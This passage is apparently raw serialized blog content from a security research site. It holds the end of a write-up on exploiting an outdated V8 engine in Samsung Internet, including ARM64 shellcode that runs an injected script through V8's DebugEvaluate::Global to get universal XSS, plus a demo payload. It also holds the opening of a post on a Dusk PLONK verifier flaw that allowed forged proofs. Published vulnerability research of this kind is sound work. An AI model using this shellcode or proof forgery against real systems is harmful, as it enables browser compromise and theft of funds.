x0\n",{"type":24,"tag":271,"props":148282,"children":148283},{"class":273,"line":4486},[148284],{"type":24,"tag":271,"props":148285,"children":148286},{"emptyLinePlaceholder":16},[148287],{"type":29,"value":327},{"type":24,"tag":271,"props":148289,"children":148290},{"class":273,"line":4509},[148291],{"type":24,"tag":271,"props":148292,"children":148293},{},[148294],{"type":29,"value":148295},"// pop back isolate pointer\n",{"type":24,"tag":271,"props":148297,"children":148298},{"class":273,"line":4545},[148299],{"type":24,"tag":271,"props":148300,"children":148301},{},[148302],{"type":29,"value":148303},"ldr x13, [sp], #16\n",{"type":24,"tag":271,"props":148305,"children":148306},{"class":273,"line":4591},[148307],{"type":24,"tag":271,"props":148308,"children":148309},{"emptyLinePlaceholder":16},[148310],{"type":29,"value":327},{"type":24,"tag":271,"props":148312,"children":148313},{"class":273,"line":4628},[148314],{"type":24,"tag":271,"props":148315,"children":148316},{},[148317],{"type":29,"value":146610},{"type":24,"tag":271,"props":148319,"children":148320},{"class":273,"line":4658},[148321],{"type":24,"tag":271,"props":148322,"children":148323},{},[148324],{"type":29,"value":148325},"// x13 = isolate *\n",{"type":24,"tag":271,"props":148327,"children":148328},{"class":273,"line":4666},[148329],{"type":24,"tag":271,"props":148330,"children":148331},{},[148332],{"type":29,"value":148333},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":24,"tag":271,"props":148335,"children":148336},{"class":273,"line":4674},[148337],{"type":24,"tag":271,"props":148338,"children":148339},{},[148340],{"type":29,"value":148341},"// x10 = v8::String::NewFromUtf8\n",{"type":24,"tag":271,"props":148343,"children":148344},{"class":273,"line":4683},[148345],{"type":24,"tag":271,"props":148346,"children":148347},{"emptyLinePlaceholder":16},[148348],{"type":29,"value":327},{"type":24,"tag":271,"props":148350,"children":148351},{"class":273,"line":4691},[148352],{"type":24,"tag":271,"props":148353,"children":148354},{},[148355],{"type":29,"value":148356},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":24,"tag":271,"props":148358,"children":148359},{"class":273,"line":4708},[148360],{"type":24,"tag":271,"props":148361,"children":148362},{},[148363],{"type":29,"value":148364},"// arg0 = isolate *\n",{"type":24,"tag":271,"props":148366,"children":148367},{"class":273,"line":4716},[148368],{"type":24,"tag":271,"props":148369,"children":148370},{},[148371],{"type":29,"value":148372},"mov x0, x13\n",{"type":24,"tag":271,"props":148374,"children":148375},{"class":273,"line":10423},[148376],{"type":24,"tag":271,"props":148377,"children":148378},{},[148379],{"type":29,"value":148380},"// arg1 = char *c_str\n",{"type":24,"tag":271,"props":148382,"children":148383},{"class":273,"line":10431},[148384],{"type":24,"tag":271,"props":148385,"children":148386},{},[148387],{"type":29,"value":148388},"mov x1, x11\n",{"type":24,"tag":271,"props":148390,"children":148391},{"class":273,"line":10439},[148392],{"type":24,"tag":271,"props":148393,"children":148394},{},[148395],{"type":29,"value":148396},"// arg2 = type = kNormal\n",{"type":24,"tag":271,"props":148398,"children":148399},{"class":273,"line":10447},[148400],{"type":24,"tag":271,"props":148401,"children":148402},{},[148403],{"type":29,"value":148404},"mov x2, #0\n",{"type":24,"tag":271,"props":148406,"children":148407},{"class":273,"line":10468},[148408],{"type":24,"tag":271,"props":148409,"children":148410},{},[148411],{"type":29,"value":148412},"// arg4 = length\n",{"type":24,"tag":271,"props":148414,"children":148415},{"class":273,"line":39951},[148416],{"type":24,"tag":271,"props":148417,"children":148418},{},[148419],{"type":29,"value":148420},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":24,"tag":271,"props":148422,"children":148423},{"class":273,"line":39972},[148424],{"type":24,"tag":271,"props":148425,"children":148426},{},[148427],{"type":29,"value":148428},"// call NewFromUTF8\n",{"type":24,"tag":271,"props":148430,"children":148431},{"class":273,"line":87741},[148432],{"type":24,"tag":271,"props":148433,"children":148434},{},[148435],{"type":29,"value":148436},"blr x10\n",{"type":24,"tag":271,"props":148438,"children":148439},{"class":273,"line":87754},[148440],{"type":24,"tag":271,"props":148441,"children":148442},{"emptyLinePlaceholder":16},[148443],{"type":29,"value":327},{"type":24,"tag":271,"props":148445,"children":148446},{"class":273,"line":87762},[148447],{"type":24,"tag":271,"props":148448,"children":148449},{},[148450],{"type":29,"value":148451},"// store x14 = String XSS_PAYLOAD\n",{"type":24,"tag":271,"props":148453,"children":148454},{"class":273,"line":87770},[148455],{"type":24,"tag":271,"props":148456,"children":148457},{},[148458],{"type":29,"value":148459},"mov x14, x0\n",{"type":24,"tag":271,"props":148461,"children":148462},{"class":273,"line":87778},[148463],{"type":24,"tag":271,"props":148464,"children":148465},{"emptyLinePlaceholder":16},[148466],{"type":29,"value":327},{"type":24,"tag":271,"props":148468,"children":148469},{"class":273,"line":87818},[148470],{"type":24,"tag":271,"props":148471,"children":148472},{},[148473],{"type":29,"value":148474},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":24,"tag":271,"props":148476,"children":148477},{"class":273,"line":87826},[148478],{"type":24,"tag":271,"props":148479,"children":148480},{},[148481],{"type":29,"value":148482},"movz x1, #0xe44c\n",{"type":24,"tag":271,"props":148484,"children":148485},{"class":273,"line":95013},[148486],{"type":24,"tag":271,"props":148487,"children":148488},{},[148489],{"type":29,"value":148490},"movk x1, #0x014e, lsl #16\n",{"type":24,"tag":271,"props":148492,"children":148493},{"class":273,"line":95021},[148494],{"type":24,"tag":271,"props":148495,"children":148496},{},[148497],{"type":29,"value":148498},"sub x9, x12, x1\n",{"type":24,"tag":271,"props":148500,"children":148501},{"class":273,"line":108367},[148502],{"type":24,"tag":271,"props":148503,"children":148504},{"emptyLinePlaceholder":16},[148505],{"type":29,"value":327},{"type":24,"tag":271,"props":148507,"children":148508},{"class":273,"line":108375},[148509],{"type":24,"tag":271,"props":148510,"children":148511},{},[148512],{"type":29,"value":148513},"// call v8::internal::DebugEvaluate::Global\n",{"type":24,"tag":271,"props":148515,"children":148516},{"class":273,"line":108383},[148517],{"type":24,"tag":271,"props":148518,"children":148519},{},[148520],{"type":29,"value":148364},{"type":24,"tag":271,"props":148522,"children":148523},{"class":273,"line":108391},[148524],{"type":24,"tag":271,"props":148525,"children":148526},{},[148527],{"type":29,"value":148372},{"type":24,"tag":271,"props":148529,"children":148530},{"class":273,"line":108419},[148531],{"type":24,"tag":271,"props":148532,"children":148533},{},[148534],{"type":29,"value":148535},"// arg1 = String *source\n",{"type":24,"tag":271,"props":148537,"children":148538},{"class":273,"line":111190},[148539],{"type":24,"tag":271,"props":148540,"children":148541},{},[148542],{"type":29,"value":148543},"mov x1, x14\n",{"type":24,"tag":271,"props":148545,"children":148546},{"class":273,"line":111198},[148547],{"type":24,"tag":271,"props":148548,"children":148549},{},[148550],{"type":29,"value":148551},"// arg2 = mode = kDefault\n",{"type":24,"tag":271,"props":148553,"children":148555},{"class":273,"line":148554},69,[148556],{"type":24,"tag":271,"props":148557,"children":148558},{},[148559],{"type":29,"value":148404},{"type":24,"tag":271,"props":148561,"children":148563},{"class":273,"line":148562},70,[148564],{"type":24,"tag":271,"props":148565,"children":148566},{},[148567],{"type":29,"value":148568},"// arg3 = repl_mode = kYes\n",{"type":24,"tag":271,"props":148570,"children":148572},{"class":273,"line":148571},71,[148573],{"type":24,"tag":271,"props":148574,"children":148575},{},[148576],{"type":29,"value":148577},"mov x3, #0\n",{"type":24,"tag":271,"props":148579,"children":148581},{"class":273,"line":148580},72,[148582],{"type":24,"tag":271,"props":148583,"children":148584},{"emptyLinePlaceholder":16},[148585],{"type":29,"value":327},{"type":24,"tag":271,"props":148587,"children":148589},{"class":273,"line":148588},73,[148590],{"type":24,"tag":271,"props":148591,"children":148592},{},[148593],{"type":29,"value":148090},{"type":24,"tag":85,"props":148595,"children":148597},{"id":148596},"uxss-demo",[148598],{"type":29,"value":148599},"UXSS Demo",{"type":24,"tag":25,"props":148601,"children":148602},{},[148603,148605,148611],{"type":29,"value":148604},"Below is a demo that executes the following UXSS payload: ",{"type":24,"tag":135,"props":148606,"children":148608},{"className":148607},[],[148609],{"type":29,"value":148610},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":29,"value":41},{"type":24,"tag":138648,"props":148613,"children":148616},{"className":148614,"controls":16},[148615],"blog-video-responsive",[148617,148619,148623],{"type":29,"value":148618},"\n ",{"type":24,"tag":147854,"props":148620,"children":148622},{"src":148621,"type":138646},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":29,"value":148624},"\n Your browser does not support the video tag.\n",{"type":24,"tag":62,"props":148626,"children":148627},{"id":10547},[148628],{"type":29,"value":10550},{"type":24,"tag":25,"props":148630,"children":148631},{},[148632],{"type":29,"value":148633},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":24,"tag":25,"props":148635,"children":148636},{},[148637],{"type":29,"value":148638},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":24,"tag":10562,"props":148640,"children":148641},{},[148642],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":148644},[148645,148649,148652,148662],{"id":36692,"depth":284,"text":36695,"children":148646},[148647,148648],{"id":138782,"depth":294,"text":138785},{"id":138865,"depth":294,"text":138868},{"id":138898,"depth":284,"text":138901,"children":148650},[148651],{"id":139039,"depth":294,"text":138893},{"id":139183,"depth":284,"text":139186,"children":148653},[148654,148655,148656,148657,148658,148659,148660,148661],{"id":139189,"depth":294,"text":139192},{"id":139646,"depth":294,"text":139649},{"id":139829,"depth":294,"text":139832},{"id":139940,"depth":294,"text":139943},{"id":140217,"depth":294,"text":140220},{"id":142927,"depth":294,"text":142930},{"id":146208,"depth":294,"text":146211},{"id":148596,"depth":294,"text":148599},{"id":10547,"depth":284,"text":10550},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":148667,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":148668,"description":148669,"date":148670,"author":148671,"image":148672,"isFeatured":16,"onBlogPage":16,"tags":148674,"body":148677,"_type":10599,"_id":153941,"_source":10601,"_file":153942,"_stem":153943,"_extension":10604},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[114628,114629],{"src":148673,"width":104058,"height":21324},"/posts/dusk-commitment-issues/title.png",[148675,148676],"dusk","plonk",{"type":21,"children":148678,"toc":153921},[148679,148685,148726,148738,148744,148758,148763,148769,149060,149064,149336,149566,149572,150257,150261,150756,150764,150770,150789,150794,150800,151025,151064,151075,151081,151092,151800,151805,151808,151814,151867,151902,151934,151939,151943,151946,151952,151963,151976,152007,152074,152082,152104,152117,152544,152567,152572,152575,152580,152607,152703,152714,152761,152799,152810,153148,153165,153173,153176,153182,153187,153221,153229,153310,153313,153319,153333,153351,153356,153396,153404,153425,153428,153434,153439,153504,153518,153521,153527,153567,153578,153583,153588,153594,153608,153689,153710,153737,153740,153746,153760,153765,153770,153775,153910,153916],{"type":24,"tag":43040,"props":148680,"children":148682},{"id":148681},"commitment-issues-unverified-evaluations-in-dusks-plonk",[148683],{"type":29,"value":148684},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":24,"tag":25,"props":148686,"children":148687},{},[148688,148690,148697,148699,148706,148708,148715,148717,148724],{"type":29,"value":148689},"We found a critical soundness vulnerability in ",{"type":24,"tag":32,"props":148691,"children":148694},{"href":148692,"rel":148693},"https://github.com/dusk-network/plonk/",[36],[148695],{"type":29,"value":148696},"dusk-plonk",{"type":29,"value":148698},", the PLONK implementation powering ",{"type":24,"tag":32,"props":148700,"children":148703},{"href":148701,"rel":148702},"https://dusk.network/",[36],[148704],{"type":29,"value":148705},"Dusk Network's",{"type":29,"value":148707}," ~$60M ",{"type":24,"tag":32,"props":148709,"children":148712},{"href":148710,"rel":148711},"https://www.coingecko.com/en/coins/dusk",[36],[148713],{"type":29,"value":148714},"market cap",{"type":29,"value":148716},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":24,"tag":32,"props":148718,"children":148721},{"href":148719,"rel":148720},"https://github.com/dusk-network/rusk",[36],[148722],{"type":29,"value":148723},"Rusk",{"type":29,"value":148725}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":24,"tag":25,"props":148727,"children":148728},{},[148729,148731,148736],{"type":29,"value":148730},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":24,"tag":213,"props":148732,"children":148733},{},[148734],{"type":29,"value":148735},"without ever validating them against the trusted commitments in the verifier key.",{"type":29,"value":148737}," The prover can set them to whatever values make the equation pass.",{"type":24,"tag":62,"props":148739,"children":148741},{"id":148740},"how-plonk-works-briefly",[148742],{"type":29,"value":148743},"How PLONK works (briefly)",{"type":24,"tag":25,"props":148745,"children":148746},{},[148747,148749,148756],{"type":29,"value":148748},"For a rigorous treatment see the ",{"type":24,"tag":32,"props":148750,"children":148753},{"href":148751,"rel":148752},"https://eprint.iacr.org/2019/953",[36],[148754],{"type":29,"value":148755},"original paper",{"type":29,"value":148757},"; what follows covers only the parts needed to understand the bug.",{"type":24,"tag":25,"props":148759,"children":148760},{},[148761],{"type":29,"value":148762},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":24,"tag":85,"props":148764,"children":148766},{"id":148765},"arithmetic-circuits-and-constraints",[148767],{"type":29,"value":148768},"Arithmetic circuits and constraints",{"type":24,"tag":25,"props":148770,"children":148771},{},[148772,148774,148823,148825,148974,148976,149059],{"type":29,"value":148773},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":24,"tag":135,"props":148775,"children":148777},{"className":148776},[11705,11706],[148778],{"type":24,"tag":271,"props":148779,"children":148781},{"className":148780},[11711],[148782],{"type":24,"tag":271,"props":148783,"children":148785},{"className":148784,"ariaHidden":5670},[11716],[148786],{"type":24,"tag":271,"props":148787,"children":148789},{"className":148788},[11721],[148790,148794,148799,148804,148809,148813,148818],{"type":24,"tag":271,"props":148791,"children":148793},{"className":148792,"style":11831},[11726],[],{"type":24,"tag":271,"props":148795,"children":148797},{"className":148796},[29402],[148798],{"type":29,"value":606},{"type":24,"tag":271,"props":148800,"children":148802},{"className":148801},[11732,29273],[148803],{"type":29,"value":6034},{"type":24,"tag":271,"props":148805,"children":148807},{"className":148806},[11842],[148808],{"type":29,"value":11845},{"type":24,"tag":271,"props":148810,"children":148812},{"className":148811,"style":11849},[11810],[],{"type":24,"tag":271,"props":148814,"children":148816},{"className":148815,"style":100323},[11732,29273],[148817],{"type":29,"value":10848},{"type":24,"tag":271,"props":148819,"children":148821},{"className":148820},[29424],[148822],{"type":29,"value":2693},{"type":29,"value":148824}," on an elliptic curve, by e.g proving that ",{"type":24,"tag":135,"props":148826,"children":148828},{"className":148827},[11705,11706],[148829],{"type":24,"tag":271,"props":148830,"children":148832},{"className":148831},[11711],[148833],{"type":24,"tag":271,"props":148834,"children":148836},{"className":148835,"ariaHidden":5670},[11716],[148837,148899,148961],{"type":24,"tag":271,"props":148838,"children":148840},{"className":148839},[11721],[148841,148845,148886,148890,148895],{"type":24,"tag":271,"props":148842,"children":148844},{"className":148843,"style":130174},[11726],[],{"type":24,"tag":271,"props":148846,"children":148848},{"className":148847},[11732],[148849,148854],{"type":24,"tag":271,"props":148850,"children":148852},{"className":148851,"style":100323},[11732,29273],[148853],{"type":29,"value":10848},{"type":24,"tag":271,"props":148855,"children":148857},{"className":148856},[11747],[148858],{"type":24,"tag":271,"props":148859,"children":148861},{"className":148860},[11752],[148862],{"type":24,"tag":271,"props":148863,"children":148865},{"className":148864},[11757],[148866],{"type":24,"tag":271,"props":148867,"children":148869},{"className":148868,"style":11727},[11762],[148870],{"type":24,"tag":271,"props":148871,"children":148872},{"style":11766},[148873,148877],{"type":24,"tag":271,"props":148874,"children":148876},{"className":148875,"style":11772},[11771],[],{"type":24,"tag":271,"props":148878,"children":148880},{"className":148879},[11777,11778,11779,11780],[148881],{"type":24,"tag":271,"props":148882,"children":148884},{"className":148883},[11732,11780],[148885],{"type":29,"value":165},{"type":24,"tag":271,"props":148887,"children":148889},{"className":148888,"style":11908},[11810],[],{"type":24,"tag":271,"props":148891,"children":148893},{"className":148892},[11913],[148894],{"type":29,"value":762},{"type":24,"tag":271,"props":148896,"children":148898},{"className":148897,"style":11908},[11810],[],{"type":24,"tag":271,"props":148900,"children":148902},{"className":148901},[11721],[148903,148907,148948,148952,148957],{"type":24,"tag":271,"props":148904,"children":148906},{"className":148905,"style":130049},[11726],[],{"type":24,"tag":271,"props":148908,"children":148910},{"className":148909},[11732],[148911,148916],{"type":24,"tag":271,"props":148912,"children":148914},{"className":148913},[11732,29273],[148915],{"type":29,"value":6034},{"type":24,"tag":271,"props":148917,"children":148919},{"className":148918},[11747],[148920],{"type":24,"tag":271,"props":148921,"children":148923},{"className":148922},[11752],[148924],{"type":24,"tag":271,"props":148925,"children":148927},{"className":148926},[11757],[148928],{"type":24,"tag":271,"props":148929,"children":148931},{"className":148930,"style":11727},[11762],[148932],{"type":24,"tag":271,"props":148933,"children":148934},{"style":11766},[148935,148939],{"type":24,"tag":271,"props":148936,"children":148938},{"className":148937,"style":11772},[11771],[],{"type":24,"tag":271,"props":148940,"children":148942},{"className":148941},[11777,11778,11779,11780],[148943],{"type":24,"tag":271,"props":148944,"children":148946},{"className":148945},[11732,11780],[148947],{"type":29,"value":4525},{"type":24,"tag":271,"props":148949,"children":148951},{"className":148950,"style":11811},[11810],[],{"type":24,"tag":271,"props":148953,"children":148955},{"className":148954},[11816],[148956],{"type":29,"value":1012},{"type":24,"tag":271,"props":148958,"children":148960},{"className":148959,"style":11811},[11810],[],{"type":24,"tag":271,"props":148962,"children":148964},{"className":148963},[11721],[148965,148969],{"type":24,"tag":271,"props":148966,"children":148968},{"className":148967,"style":100868},[11726],[],{"type":24,"tag":271,"props":148970,"children":148972},{"className":148971},[11732],[148973],{"type":29,"value":4293},{"type":29,"value":148975},", here in ",{"type":24,"tag":135,"props":148977,"children":148979},{"className":148978},[11705,11706],[148980],{"type":24,"tag":271,"props":148981,"children":148983},{"className":148982},[11711],[148984],{"type":24,"tag":271,"props":148985,"children":148987},{"className":148986,"ariaHidden":5670},[11716],[148988],{"type":24,"tag":271,"props":148989,"children":148991},{"className":148990},[11721],[148992,148997],{"type":24,"tag":271,"props":148993,"children":148996},{"className":148994,"style":148995},[11726],"height:0.8389em;vertical-align:-0.15em;",[],{"type":24,"tag":271,"props":148998,"children":149000},{"className":148999},[11732],[149001,149006],{"type":24,"tag":271,"props":149002,"children":149004},{"className":149003},[11732,128612],[149005],{"type":29,"value":128615},{"type":24,"tag":271,"props":149007,"children":149009},{"className":149008},[11747],[149010],{"type":24,"tag":271,"props":149011,"children":149013},{"className":149012},[11752,29327],[149014,149048],{"type":24,"tag":271,"props":149015,"children":149017},{"className":149016},[11757],[149018,149043],{"type":24,"tag":271,"props":149019,"children":149021},{"className":149020,"style":99889},[11762],[149022],{"type":24,"tag":271,"props":149023,"children":149024},{"style":99893},[149025,149029],{"type":24,"tag":271,"props":149026,"children":149028},{"className":149027,"style":11772},[11771],[],{"type":24,"tag":271,"props":149030,"children":149032},{"className":149031},[11777,11778,11779,11780],[149033],{"type":24,"tag":271,"props":149034,"children":149036},{"className":149035},[11732,11780],[149037],{"type":24,"tag":271,"props":149038,"children":149040},{"className":149039},[11732,11780],[149041],{"type":29,"value":149042},"37",{"type":24,"tag":271,"props":149044,"children":149046},{"className":149045},[29430],[149047],{"type":29,"value":29433},{"type":24,"tag":271,"props":149049,"children":149051},{"className":149050},[11757],[149052],{"type":24,"tag":271,"props":149053,"children":149055},{"className":149054,"style":99920},[11762],[149056],{"type":24,"tag":271,"props":149057,"children":149058},{},[],{"type":29,"value":41},{"type":24,"tag":149061,"props":149062,"children":149063},"arithmetic-circuit-widget",{},[],{"type":24,"tag":25,"props":149065,"children":149066},{},[149067,149069,149095,149097,149176,149178,149255,149257,149334],{"type":29,"value":149068},"Each gate ",{"type":24,"tag":135,"props":149070,"children":149072},{"className":149071},[11705,11706],[149073],{"type":24,"tag":271,"props":149074,"children":149076},{"className":149075},[11711],[149077],{"type":24,"tag":271,"props":149078,"children":149080},{"className":149079,"ariaHidden":5670},[11716],[149081],{"type":24,"tag":271,"props":149082,"children":149084},{"className":149083},[11721],[149085,149090],{"type":24,"tag":271,"props":149086,"children":149089},{"className":149087,"style":149088},[11726],"height:0.6595em;",[],{"type":24,"tag":271,"props":149091,"children":149093},{"className":149092},[11732,29273],[149094],{"type":29,"value":11462},{"type":29,"value":149096}," has a left input ",{"type":24,"tag":135,"props":149098,"children":149100},{"className":149099},[11705,11706],[149101],{"type":24,"tag":271,"props":149102,"children":149104},{"className":149103},[11711],[149105],{"type":24,"tag":271,"props":149106,"children":149108},{"className":149107,"ariaHidden":5670},[11716],[149109],{"type":24,"tag":271,"props":149110,"children":149112},{"className":149111},[11721],[149113,149118],{"type":24,"tag":271,"props":149114,"children":149117},{"className":149115,"style":149116},[11726],"height:0.8444em;vertical-align:-0.15em;",[],{"type":24,"tag":271,"props":149119,"children":149121},{"className":149120},[11732],[149122,149127],{"type":24,"tag":271,"props":149123,"children":149125},{"className":149124,"style":99849},[11732,29273],[149126],{"type":29,"value":99852},{"type":24,"tag":271,"props":149128,"children":149130},{"className":149129},[11747],[149131],{"type":24,"tag":271,"props":149132,"children":149134},{"className":149133},[11752,29327],[149135,149165],{"type":24,"tag":271,"props":149136,"children":149138},{"className":149137},[11757],[149139,149160],{"type":24,"tag":271,"props":149140,"children":149142},{"className":149141,"style":100366},[11762],[149143],{"type":24,"tag":271,"props":149144,"children":149146},{"style":149145},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[149147,149151],{"type":24,"tag":271,"props":149148,"children":149150},{"className":149149,"style":11772},[11771],[],{"type":24,"tag":271,"props":149152,"children":149154},{"className":149153},[11777,11778,11779,11780],[149155],{"type":24,"tag":271,"props":149156,"children":149158},{"className":149157},[11732,29273,11780],[149159],{"type":29,"value":11462},{"type":24,"tag":271,"props":149161,"children":149163},{"className":149162},[29430],[149164],{"type":29,"value":29433},{"type":24,"tag":271,"props":149166,"children":149168},{"className":149167},[11757],[149169],{"type":24,"tag":271,"props":149170,"children":149172},{"className":149171,"style":99920},[11762],[149173],{"type":24,"tag":271,"props":149174,"children":149175},{},[],{"type":29,"value":149177},", right input ",{"type":24,"tag":135,"props":149179,"children":149181},{"className":149180},[11705,11706],[149182],{"type":24,"tag":271,"props":149183,"children":149185},{"className":149184},[11711],[149186],{"type":24,"tag":271,"props":149187,"children":149189},{"className":149188,"ariaHidden":5670},[11716],[149190],{"type":24,"tag":271,"props":149191,"children":149193},{"className":149192},[11721],[149194,149198],{"type":24,"tag":271,"props":149195,"children":149197},{"className":149196,"style":116807},[11726],[],{"type":24,"tag":271,"props":149199,"children":149201},{"className":149200},[11732],[149202,149207],{"type":24,"tag":271,"props":149203,"children":149205},{"className":149204,"style":99837},[11732,29273],[149206],{"type":29,"value":100656},{"type":24,"tag":271,"props":149208,"children":149210},{"className":149209},[11747],[149211],{"type":24,"tag":271,"props":149212,"children":149214},{"className":149213},[11752,29327],[149215,149244],{"type":24,"tag":271,"props":149216,"children":149218},{"className":149217},[11757],[149219,149239],{"type":24,"tag":271,"props":149220,"children":149222},{"className":149221,"style":100366},[11762],[149223],{"type":24,"tag":271,"props":149224,"children":149225},{"style":116836},[149226,149230],{"type":24,"tag":271,"props":149227,"children":149229},{"className":149228,"style":11772},[11771],[],{"type":24,"tag":271,"props":149231,"children":149233},{"className":149232},[11777,11778,11779,11780],[149234],{"type":24,"tag":271,"props":149235,"children":149237},{"className":149236},[11732,29273,11780],[149238],{"type":29,"value":11462},{"type":24,"tag":271,"props":149240,"children":149242},{"className":149241},[29430],[149243],{"type":29,"value":29433},{"type":24,"tag":271,"props":149245,"children":149247},{"className":149246},[11757],[149248],{"type":24,"tag":271,"props":149249,"children":149251},{"className":149250,"style":99920},[11762],[149252],{"type":24,"tag":271,"props":149253,"children":149254},{},[],{"type":29,"value":149256},", and output ",{"type":24,"tag":135,"props":149258,"children":149260},{"className":149259},[11705,11706],[149261],{"type":24,"tag":271,"props":149262,"children":149264},{"className":149263},[11711],[149265],{"type":24,"tag":271,"props":149266,"children":149268},{"className":149267,"ariaHidden":5670},[11716],[149269],{"type":24,"tag":271,"props":149270,"children":149272},{"className":149271},[11721],[149273,149277],{"type":24,"tag":271,"props":149274,"children":149276},{"className":149275,"style":116807},[11726],[],{"type":24,"tag":271,"props":149278,"children":149280},{"className":149279},[11732],[149281,149286],{"type":24,"tag":271,"props":149282,"children":149284},{"className":149283},[11732,29273],[149285],{"type":29,"value":99807},{"type":24,"tag":271,"props":149287,"children":149289},{"className":149288},[11747],[149290],{"type":24,"tag":271,"props":149291,"children":149293},{"className":149292},[11752,29327],[149294,149323],{"type":24,"tag":271,"props":149295,"children":149297},{"className":149296},[11757],[149298,149318],{"type":24,"tag":271,"props":149299,"children":149301},{"className":149300,"style":100366},[11762],[149302],{"type":24,"tag":271,"props":149303,"children":149304},{"style":99893},[149305,149309],{"type":24,"tag":271,"props":149306,"children":149308},{"className":149307,"style":11772},[11771],[],{"type":24,"tag":271,"props":149310,"children":149312},{"className":149311},[11777,11778,11779,11780],[149313],{"type":24,"tag":271,"props":149314,"children":149316},{"className":149315},[11732,29273,11780],[149317],{"type":29,"value":11462},{"type":24,"tag":271,"props":149319,"children":149321},{"className":149320},[29430],[149322],{"type":29,"value":29433},{"type":24,"tag":271,"props":149324,"children":149326},{"className":149325},[11757],[149327],{"type":24,"tag":271,"props":149328,"children":149330},{"className":149329,"style":99920},[11762],[149331],{"type":24,"tag":271,"props":149332,"children":149333},{},[],{"type":29,"value":149335},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":24,"tag":25,"props":149337,"children":149338},{},[149339,149341,149346,149348,149452,149454,149557,149559,149564],{"type":29,"value":149340},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":24,"tag":10648,"props":149342,"children":149343},{},[149344],{"type":29,"value":149345},"selector",{"type":29,"value":149347}," values that act as switches: setting ",{"type":24,"tag":135,"props":149349,"children":149351},{"className":149350},[11705,11706],[149352],{"type":24,"tag":271,"props":149353,"children":149355},{"className":149354},[11711],[149356],{"type":24,"tag":271,"props":149357,"children":149359},{"className":149358,"ariaHidden":5670},[11716],[149360,149439],{"type":24,"tag":271,"props":149361,"children":149363},{"className":149362},[11721],[149364,149368,149426,149430,149435],{"type":24,"tag":271,"props":149365,"children":149367},{"className":149366,"style":116727},[11726],[],{"type":24,"tag":271,"props":149369,"children":149371},{"className":149370},[11732],[149372,149377],{"type":24,"tag":271,"props":149373,"children":149375},{"className":149374,"style":100323},[11732,29273],[149376],{"type":29,"value":100326},{"type":24,"tag":271,"props":149378,"children":149380},{"className":149379},[11747],[149381],{"type":24,"tag":271,"props":149382,"children":149384},{"className":149383},[11752,29327],[149385,149415],{"type":24,"tag":271,"props":149386,"children":149388},{"className":149387},[11757],[149389,149410],{"type":24,"tag":271,"props":149390,"children":149393},{"className":149391,"style":149392},[11762],"height:0.3283em;",[149394],{"type":24,"tag":271,"props":149395,"children":149396},{"style":100370},[149397,149401],{"type":24,"tag":271,"props":149398,"children":149400},{"className":149399,"style":11772},[11771],[],{"type":24,"tag":271,"props":149402,"children":149404},{"className":149403},[11777,11778,11779,11780],[149405],{"type":24,"tag":271,"props":149406,"children":149408},{"className":149407,"style":101845},[11732,29273,11780],[149409],{"type":29,"value":101848},{"type":24,"tag":271,"props":149411,"children":149413},{"className":149412},[29430],[149414],{"type":29,"value":29433},{"type":24,"tag":271,"props":149416,"children":149418},{"className":149417},[11757],[149419],{"type":24,"tag":271,"props":149420,"children":149422},{"className":149421,"style":99920},[11762],[149423],{"type":24,"tag":271,"props":149424,"children":149425},{},[],{"type":24,"tag":271,"props":149427,"children":149429},{"className":149428,"style":11908},[11810],[],{"type":24,"tag":271,"props":149431,"children":149433},{"className":149432},[11913],[149434],{"type":29,"value":762},{"type":24,"tag":271,"props":149436,"children":149438},{"className":149437,"style":11908},[11810],[],{"type":24,"tag":271,"props":149440,"children":149442},{"className":149441},[11721],[149443,149447],{"type":24,"tag":271,"props":149444,"children":149446},{"className":149445,"style":100868},[11726],[],{"type":24,"tag":271,"props":149448,"children":149450},{"className":149449},[11732],[149451],{"type":29,"value":156},{"type":29,"value":149453}," makes a row a multiplication gate, setting 